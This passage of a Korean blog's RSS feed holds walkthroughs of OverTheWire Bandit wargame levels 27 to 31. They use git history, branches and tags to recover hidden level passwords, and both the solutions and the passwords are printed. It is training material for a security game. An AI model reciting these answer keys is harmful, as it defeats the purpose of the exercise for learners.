&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; Clone the repository and find the password for the next level.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;hint: git&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;오늘 사용할 명령어&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git&lt;/li&gt;
&lt;li&gt;clone&lt;/li&gt;
&lt;li&gt;log&lt;/li&gt;
&lt;li&gt;branch&lt;/li&gt;
&lt;li&gt;ref(reference)&lt;/li&gt;
&lt;li&gt;tag&lt;/li&gt;
&lt;li&gt;show&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;이번에도 git clone으로 시작하네요 바로 clone 해와서 README.md파일 읽어봅시다&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765625756623&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~]
└─$ ls
bandit26.sshkey  repo

┌──(miso㉿Miso)-[~]
└─$ rm -rf repo/

┌──(miso㉿Miso)-[~]
└─$ ls
bandit26.sshkey

┌──(miso㉿Miso)-[~]
└─$ git clone ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo
Cloning into 'repo'...
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit30-git@bandit.labs.overthewire.org's password:
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (4/4), done.

┌──(miso㉿Miso)-[~]
└─$ ls
bandit26.sshkey  repo

┌──(miso㉿Miso)-[~]
└─$ cd repo

┌──(miso㉿Miso)-[~/repo]
└─$ ls
README.md

┌──(miso㉿Miso)-[~/repo]
└─$ cat README.md
just an epmty file... muahaha&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;읽어봤는데 빈파일이라고 하면서 심지어 웃었어요 &lt;span style=&quot;background-color: #ffffff; color: #555555; text-align: center;&quot;&gt;( ᵕ ̯ ᵕ̩̩ )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 어떤 log랑 branch들이 있는지 확인해볼게요&lt;/p&gt;
&lt;pre id=&quot;code_1765626013761&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git log
commit 62152a9969c62cb647406aa88c1b5376dcf58968 (HEAD -&amp;gt; master, origin/master, origin/HEAD)
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:22 2025 +0000

    initial commit of README.md

┌──(miso㉿Miso)-[~/repo]
└─$ git branch -a
* master
  remotes/origin/HEAD -&amp;gt; origin/master
  remotes/origin/master&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진짜 뭐 아무 기록도 없네요 처음 커밋한 README.md 파일이고 내용도 처음부터 저거였던 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 branch의 상위 개념인 reference를 써볼겁니다.&lt;/p&gt;
&lt;pre id=&quot;code_1765627254372&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;.git/refs/
 ├─ heads/        # 로컬 branch (유동적인 ref)
 │   ├─ master
 │   └─ dev
 ├─ remotes/      # 원격 branch
 │   └─ origin/dev
 └─ tags/         # tag         (고정적인 ref)
     └─ secret&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reference의 개념은 위와 같고, reference 전체를 살펴봅시다.&lt;/p&gt;
&lt;pre id=&quot;code_1765627379789&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git show-ref
62152a9969c62cb647406aa88c1b5376dcf58968 refs/heads/master
62152a9969c62cb647406aa88c1b5376dcf58968 refs/remotes/origin/HEAD
62152a9969c62cb647406aa88c1b5376dcf58968 refs/remotes/origin/master
84368f3a7ee06ac993ed579e34b8bd144afad351 refs/tags/secret&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 네 가지가 나왔는데요. 세 개는 같은 커밋인데 맨 밑에 secret만 다른 커밋을 가지고 있네요. 한번 읽어봅시다.&lt;/p&gt;
&lt;pre id=&quot;code_1765627739883&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git show secret
fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답은 나왔는데요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 유동적 커밋인 branch와 고정적 커밋인 tag가 있다는 것을 확실히 알면 좋을 것 같습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;리눅스에서 설정 파일들이 디렉토리로 분류되듯,&lt;br /&gt;git에서도 reference 파일들이 heads, tags로 나뉘어져 있습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 아까&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git show-ref&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어를 쓸 수도 있지만, git tag명령어를 이용해도 secret 파일을 확인할 수 있습니다&lt;/p&gt;
&lt;pre id=&quot;code_1765628243526&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git tag
secret

┌──(miso㉿Miso)-[~/repo]
└─$ git show secret
fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/61</guid>
      <comments>https://jokkams.tistory.com/61#entry61comment</comments>
      <pubDate>Sat, 13 Dec 2025 21:19:55 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 29 -&amp;gt; 30</title>
      <link>https://jokkams.tistory.com/60</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; There is a git repository at&amp;nbsp;&lt;/span&gt;ssh://bandit29-git@bandit.labs.overthewire.org/home/bandit29-git/repo&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;via the port&amp;nbsp;&lt;/span&gt;2220&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;. The password for the user&amp;nbsp;&lt;/span&gt;bandit29-git&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;is the same as for the user&amp;nbsp;&lt;/span&gt;bandit29&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;Clone the repository and find the password for the next level.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;hint: git&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;사용한 명령어&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;git&lt;/li&gt;
&lt;li&gt;clone&lt;/li&gt;
&lt;li&gt;log&lt;/li&gt;
&lt;li&gt;branch : 작업 목록 보기
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-v: &lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;로컬 branch의 정보를 마지막 커밋 내역과 함께 보여줌&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;-r: 원격 저장소&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;의 branch 정보를 보여줌&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;-a: 로컬/ 원격 branch 정보 모두 보여줌&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;checkout: 특정 branch(작업 목록)로 전환 시켜줌&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;저번 문제와 같이 처음은 git clone으로 시작하니까 빠르게 clone 하고 README.md 읽어봅시다&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765542657113&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~]
└─$ git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo

┌──(miso㉿Miso)-[~]
└─$ ls
bandit26.sshkey  repo

┌──(miso㉿Miso)-[~]
└─$ cd repo/

┌──(miso㉿Miso)-[~/repo]
└─$ ls -al
total 16
drwxr-xr-x 3 miso miso 4096 Dec 12 20:09 .
drwx------ 7 miso miso 4096 Dec 12 20:17 ..
drwxr-xr-x 7 miso miso 4096 Dec 12 20:09 .git
-rw-r--r-- 1 miso miso  131 Dec 12 20:09 README.md

┌──(miso㉿Miso)-[~/repo]
└─$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: &amp;lt;no passwords in production!&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password가 써진적이 없다는 것 같은데, 우선 git log를 봐봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1765542801297&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git log README.md
commit b879c94bd4641ebb8b5470258b3a41debb25f7c2 (HEAD -&amp;gt; master, origin/master, origin/HEAD)
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:20 2025 +0000

    fix username

commit 358fb1e671f460043ff5bd372e8d87e228dc148d
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:20 2025 +0000

    initial commit of README.md
  
  
  
┌──(miso㉿Miso)-[~/repo]
└─$ git show 358fb1e671f460043ff5bd372e8d87e228dc148d
commit 358fb1e671f460043ff5bd372e8d87e228dc148d
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:20 2025 +0000

    initial commit of README.md

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..2da2f39
--- /dev/null
+++ b/README.md
@@ -0,0 +1,8 @@
+# Bandit Notes
+Some notes for bandit30 of bandit.
+
+## credentials
+
+- username: bandit29
+- password: &amp;lt;no passwords in production!&amp;gt;
+&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;358fb commit은 README.md파일의 최초의 commit이라네요. b879c 커밋은 username fix.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성됐던 파일이 삭제된 것도 아니고, 그냥 진짜 처음 생성한 파일이라고 쓰여져 있네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(index 00000000..2da2f39라고 쓰여있는걸 보면 000000으로 無 상태였다가 2da2f39인 有 상태로 바뀐거랍니다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;git log 로는 얻을 수 있는 것이 없었고, git의 작업 목록을 확인해보도록 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작업 목록을 보기 위해서는 branch라는 명령어가 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옵션을 써서 구체적인 branch 상태를 확인해봤습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1765544195767&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git branch
  dev
* master

┌──(miso㉿Miso)-[~/repo]
└─$ git branch -a
  dev
* master
  remotes/origin/HEAD -&amp;gt; origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 현재 우리는 remotes/origin/HEAD 작업 장소에 있어요 근데 여기에는 password를 확인할 수 없었죠? 그래서 dev로 작업 장소를 변경해봅시다.&lt;/p&gt;
&lt;pre id=&quot;code_1765545226166&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ git branch -a
  dev
* master
  remotes/origin/HEAD -&amp;gt; origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev

┌──(miso㉿Miso)-[~/repo]
└─$ git checkout dev
Switched to branch 'dev'
Your branch is up to date with 'origin/dev'.

┌──(miso㉿Miso)-[~/repo]
└─$ ls -al
total 20
drwxr-xr-x 4 miso miso 4096 Dec 12 22:12 .
drwx------ 7 miso miso 4096 Dec 12 22:04 ..
drwxr-xr-x 2 miso miso 4096 Dec 12 22:12 code
drwxr-xr-x 7 miso miso 4096 Dec 12 22:12 .git
-rw-r--r-- 1 miso miso  134 Dec 12 22:12 README.md&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dev로 switch 됐다고 뜨고 list를 확인해보니 code 디렉토리도 있고 README.md파일도 있네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;읽어보면&lt;/p&gt;
&lt;pre id=&quot;code_1765545276478&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~/repo]
└─$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Wow 신기방기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;branch는 작업 부서 별로 진행하는 코드들이 다를텐데 이 과정에서 서로 부딪히지 않기 위해서 만들어진 장치라고 하네요.&amp;nbsp;&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/60</guid>
      <comments>https://jokkams.tistory.com/60#entry60comment</comments>
      <pubDate>Fri, 12 Dec 2025 22:17:28 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 28 -&amp;gt; 29</title>
      <link>https://jokkams.tistory.com/59</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; There is a git repository at&amp;nbsp;&lt;/span&gt;ssh://bandit28-git@bandit.labs.overthewire.org/home/bandit28-git/repo&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;via the port&amp;nbsp;&lt;/span&gt;2220&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;. The password for the user&amp;nbsp;&lt;/span&gt;bandit28-git&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;is the same as for the user&amp;nbsp;&lt;/span&gt;bandit28.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; Clone the repository and find the password for the next level.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;hint: git&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;문제는 전 문제와 동일한 형식이니까 빠르게 repo 디렉토리를 clone 해보겠습니다&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765432662484&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~]
└─$ git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo


Cloning into 'repo'...
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit28-git@bandit.labs.overthewire.orgs password:
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.

┌──(miso㉿KimMDR)-[~]
└─$ ls
bandit13  password.txt  repo&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README.md 파일을 읽어봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1765432734407&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~]
└─$ ls
bandit13  password.txt  repo

┌──(miso㉿KimMDR)-[~]
└─$ cd repo/

┌──(miso㉿KimMDR)-[~/repo]
└─$ ls
README.md

┌──(miso㉿KimMDR)-[~/repo]
└─$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비번 안알려주고 어떻게 들어가라는건가 했는데 git의 log를 볼 수 있다고 합니다. 봐봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1765432834094&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~/repo]
└─$ git log
commit b0354c7be30f500854c5fc971c57e9cbe632fef6 (HEAD -&amp;gt; master, origin/master, origin/HEAD)
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:19 2025 +0000

    fix info leak

commit d0cf2ab7dd7ebc6075b59102a980155268f0fe8f
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:19 2025 +0000

    add missing data

commit bd6bc3a57f81518bb2ce63f5816607a754ba730d
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:18 2025 +0000

    initial commit of README.md&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 세 번의 수정이 들어갔죠?&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;fix info leak: 정보 유출 수정&lt;/li&gt;
&lt;li&gt;add missing data: 누락된 데이터 추가&lt;/li&gt;
&lt;li&gt;initial commit of README.md: README.md 커밋&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 README.md 파일에 쓰여져있던 password 부분일 것 같슴둥&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 수정을 읽어봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1765433126038&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~/repo]
└─$ git show b0354c7be30f500854c5fc971c57e9cbe632fef6  '&amp;lt;--수정된거 읽기'
commit b0354c7be30f500854c5fc971c57e9cbe632fef6 (HEAD -&amp;gt; master, origin/master, origin/HEAD)
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Tue Oct 14 09:26:19 2025 +0000

    fix info leak

diff --git a/README.md b/README.md
index d4e3b74..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
 ## credentials

 - username: bandit29
-- password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7
+- password: xxxxxxxxxx&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 노출돼있는 password를 xxxxxx로 바꿨네요&amp;nbsp;&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/59</guid>
      <comments>https://jokkams.tistory.com/59#entry59comment</comments>
      <pubDate>Thu, 11 Dec 2025 15:07:10 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit27 -&amp;gt; 28</title>
      <link>https://jokkams.tistory.com/58</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;There is a git repository at&lt;span&gt;&amp;nbsp;&lt;/span&gt;ssh://bandit27-git@bandit.labs.overthewire.org/home/bandit27-git/repo&lt;span&gt;&amp;nbsp;&lt;/span&gt;via the port&lt;span&gt;&amp;nbsp;&lt;/span&gt;2220. The password for the user&lt;span&gt;&amp;nbsp;&lt;/span&gt;bandit27-git&lt;span&gt;&amp;nbsp;&lt;/span&gt;is the same as for the user&lt;span&gt;&amp;nbsp;&lt;/span&gt;bandit27.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; Clone the repository and find the password for the next level.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;hint: git&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;문제에서 시키는대로 진행해볼게요. &lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1765366983314&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~]
└─$ git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo
Cloning into 'repo'...
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-0
bandit27-git@bandit.labs.overthewire.orgs password:  '&amp;lt;-- bandit27 password 입력'
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;포트번호 입력하는거 잊지 맙시다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
